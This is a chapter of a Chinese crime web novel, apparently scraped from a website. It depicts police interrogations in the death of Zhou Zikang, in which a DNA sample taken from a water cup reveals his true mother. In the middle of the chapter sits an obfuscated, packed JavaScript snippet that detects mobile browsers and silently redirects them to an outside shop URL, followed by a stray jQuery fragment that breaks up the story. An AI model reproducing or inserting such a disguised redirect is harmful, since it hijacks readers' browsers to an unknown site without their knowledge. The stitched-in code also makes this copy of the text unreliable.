“现在不是非要你说,除非你自愿想说,但是你所说的将会成为呈堂证供。”
“在我的律师来到之前,我是不会回答你们警方任何一个问题。”
如出一辙的问答在三个审讯室不约而同地响起。
高以乔看着神态自若,甚至将珍珠耳环摘下观赏了几下又戴上的周林美贤,默默说了一句:“这个珍珠耳环很衬你。”
周林美贤漫不经心地回了一句:“是吗?”
她抬头看了看审讯室里的钟,已经过去了半个小时。她的律师还没到,她自己也不着急,似笑非笑地看着高以乔。
“口渴吗?我让师姐拿杯水给你喝。”
“什么水?”
“普通的矿泉水。”
周林美贤拒绝:“我只喝进口的水,普通的水不喝。”
高以乔又问:“那我给你喝杯咖啡?”
“什么咖啡?”
“速溶咖啡。”
“你们这边没有什么高档一点的东西吗?我只喝瑰夏咖啡,蓝山也勉勉强强。你也勉勉强强。”
高以乔笑问:“我什么勉勉强强?”
“想套取我DNA的手段,无非就是你问我要不要喝水,我喝一口,你就借口拿走我的茶杯,套取我的DNA然后拿去匹配。
“或者在我旁边放一杯水,打着和我闲聊的旗号,等我说到口干舌燥或者没留意喝下一口,这种手段我见多了。”
“其实我们想要你的DNA很容易。”高以乔说,“我们可以申请你们房子的搜查令。”
“那你得先证明我们和受害者确实有关联。”
“你为什么觉得你和受害者没关联?”
周林美贤笑了笑,“我的律师是路上堵车了吗,怎么还没到?Madam,你方便出去帮我催一下吗?”
高以乔挑了挑眉,回了句:“当然。”
她走出审讯室,四个审讯室的隔音都很好,彼此听不到对面的说话声。周林美贤的审讯室在第三个,她往后一瞥是况茵的审讯室,里面坐着况茵和审问的许思仁。
许思仁的脸色不太好。
她往前走,第二个审讯室是周林美贤聘请调查的私家侦探,那人看起来衣着随意,整个人身体往后,呈防御性动作,看起来很害怕正在审问的戴伟。
第一个审讯室……
高以乔正要走过去,就看到走廊尽头有个人影走了出来,她定睛一看,笑了一下。
“你是来当周可晴的律师,还是周林美贤的律师?”她问王飞进。
王飞进西装革履,连头发丝都没有一点凌乱,他慢条斯理地走到高以乔面前,“没有人请我做代表律师,我是自己过来的。”
高以乔闻言挑起眉,惊讶道:“大名鼎鼎的常胜将军居然也有被忽视的时候?那周林美贤和周可晴请的律师是谁?”
王飞进耸耸肩,视线投向第一间审讯室。高以乔顺着他的视线看去,第一间审讯室里周可晴旁边早已坐下一个律师。
“K.C律师所的罗杰,罗大律师。”王飞进认出了那人,轻描淡写地说了一句:“听说他对把握客户心理很有一套,能稳住客户的同时能挡住90%来自警方的审问,很多富豪在遇到刑事案件的时候都喜欢找他。”
“是吗?”
高以乔反手推开了第一间审讯室隔壁的监听室,她走到玻璃墙前,刚拿起耳机就听到罗杰自信满满的声音:“我们当事人刚刚只是情绪失控,并不是真心想要控告自己的母亲谋杀。而且你们警方现在也没有实质的证据证明受害者就是周子康。我们当事人有严重的焦虑症和失眠,你们这样来访无疑是加重了我当事人的恐慌,导致她有一连串不稳定的发言。”
“你们已经证实了受害者的身份了吗?DNA匹配了吗?凭借着购买清单就咬死是周子康?不好意思,我当事人最近在服用药物,不能配合你们采样。”
墙对面的乐琳坐在罗杰的对面,她和旁边做笔录的师姐对视了一眼,然后看向平时明艳张扬此刻却沉默放空的周可晴,问她:“你没有什么要补充的吗?”
罗杰飞快地瞥了周可晴一眼,后者只是淡淡地说:“没有了。”
她将水杯推回去:“不是进口的水我不要,你们拿走。”
乐琳示意师姐将水杯拿出去,而罗杰还在一旁喋喋不休:“只是48小时而已,我们就当休息一下了。”
周可晴却说:“十分钟。
“十分钟你就可以走了。”
说完,高以乔和周可晴同时看向钟。
现在是17点10分。
——
老狼老狼,几点钟?
17点20分。
——
高以乔抬头看了一下钟,问周林美贤:“你的律师还没到吗?”
周林美贤看了一下自己的指甲:“快到了吧。这家律所的律师不行,我下次还是请更好的。”
“Philip Wong(王飞进)?”
“Never。”周林美贤眼神一凛,她说。
敲门声很快在两人对峙中响起,周林美贤率先挪开视线,她看向门口:“可能是我的大律师到了。”
做笔录的师姐前去开门,大律师确实是到了,同时到的还有一份DNA报告。
高以乔将报告递到周林美贤面前,在她和她的大律师面前打开,“根据我们采集到的DNA样本,受害者的DNA和该提供者周可晴的DNA为亲子关系。周林美贤女士……”
周林美贤脸色瞬间煞白,“你们在哪里拿到的DNA样本?你们知不知道这是非法获取?”
“DNA样本是周可晴主动提供的。”
“不可能!Roger已经在那边很久了!是不是你们诱供,还是说况茵提供了什么虚假口供?”
高以乔警告她:“麻烦你先稳住自己的情绪。”
“我需要稳住什么情绪?我现在怀疑你们诱供,找江Sir来见我,找江正晖来见我!”周林美贤推开DNA报告,她猛地站起来就要往门外去。
“周林美贤女士,你现在涉嫌谋杀周子康,如果你再不冷静下来……”
周林美贤转身,恶狠狠地瞪着高以乔:“我在警署呼风唤雨的时候,你还只是一个乳臭未干的小孩。”
“我也许是,但是你女儿和我差不多大,应该也是。她也见过你在警署呼风唤雨的样子吗?”
周林美贤脚步停住,她回头,“你什么意思?”
高以乔慢慢坐回座位上,她捡起那份亲子鉴定报告,递给周林美贤请来的大律师。
“这份报告刚刚出来,是我们警署法医检验的,上次的DNA样本是十分钟前周可晴提供给我们警方。”
周林美贤一字一顿,说:“不、可、能。”
“你为什么觉得不可能,是因为你请了罗大律师?你认为他可以制止住你女儿的言论?”
“不过你刚刚也说了,这个律所的大律师不行,罗大律师在路上堵车,没有及时赶到。”高以乔说:“周可晴在没有律师的陪同下完成了她的口供。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725802|207405||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“她说。”
“她说谎,她有精神病,她的口供不作数。”
高以乔没有再说话,反而是周林美贤急得重新坐回她的对面,双手不安地挥动着:“周子康是我的儿子,他这辈子都只会是我的儿子。”
“和他有亲子关系的人是我,阿晴是他的姐姐,姐姐而已,你懂吗?阿晴在恨我没有告诉她弟弟失踪了,她提供的是我的DNA!”
她咬牙切齿地说:“我、的。”
高以乔缓慢地摇头:“我看到了,她喝了警署里面的水,水杯是她的DNA。她是周子康的亲生母亲,在14年前,她15岁的时候在国外生下了周子康。而同年,你也在国外陪着她。”
“15岁?怎么可能,你见过谁15岁当妈妈的?你不要以为你是Philip以前的女朋友就可以污蔑我女儿!我再说一遍。”
高以乔语调猛地拔高:“你说再多遍都没用,DNA报告就在这里。麻烦你不要再自欺欺人,我不管你们以前是怎么操作的,现在死的人是周子康,我麻烦你对死者的身份有基本的尊重!”
周林美贤低声叫了一下,她双手不停锤在桌面上。
高以乔趁机问她:“周子康到底是谁?”
“他是我的儿子。”
“周子康是谁?”
“他是我周林美贤的儿子。”
高以乔拿出案发现场的骸骨照片,再次问道:“你看着他最后的样子说,他到底是谁?”
周林美贤瞪着那张照片,一滴眼泪落了下来:“他是,我们周家的耻辱。”
30分钟前——
“要不要喝杯水?”
“有进口的吗?”
“没有,就普通的矿泉水。”
“矿泉水和雨水有什么区别?最近没下雨。Madam,你能告诉我案发现场附近有水吗?”
乐琳将一杯普通的水递给对面的周可晴,摇摇头:“没有。”
“他很口渴吧?”
乐琳没开口,周可晴自己开口说:“我妈给我请了大律师,大律师快要来了。”
“如果你不想说的话。”
周可晴打断了乐琳,说:“子康是我15岁生的孩子,他是我和初恋的孩子。他叫Ivan,是海外华侨,我们是在夏令营认识的。交往没多久,我和他一起出去玩,发生了车祸,他死了,我发现我有了孩子。
“子康是我的孩子。但是我妈为了不败坏我们家族名声,她逼我把孩子打掉。我不肯,那是Ivan唯一的血肉,我为了保护孩子,我和她闹了很多次,她才肯让我把孩子生下来,但唯一的代价就是把孩子记在她的名下。她根本就不喜欢子康!她不让子康认祖归宗,也不让子康知道我是他妈妈,她严格管控着子康,把他当囚犯一样!
“这次肯定是她忍无可忍杀了子康,我早就发现不对劲了,我怎么找都找不到子康。我问我妈子康去哪里,她就说夏令营,还瞒着我,之前你们上门和我说是别人不见了,她协助调查。如果不是这次我偷听到,我根本不知道子康不见了这么久!
“她根本就是早有预谋!她早就!她早就!她肯定是看我最近和Philip关系好,怕子康影响我们结婚,所以一不做二不休!她根本就是把我当商品来卖!
“就是她,就是她杀的!”
乐琳沉默了片刻,问她:“你还有什么要补充的吗?”
“没有了。”
她喝了一口桌面上的水,说:“不是进口的水我不喝,你们拿走吧。”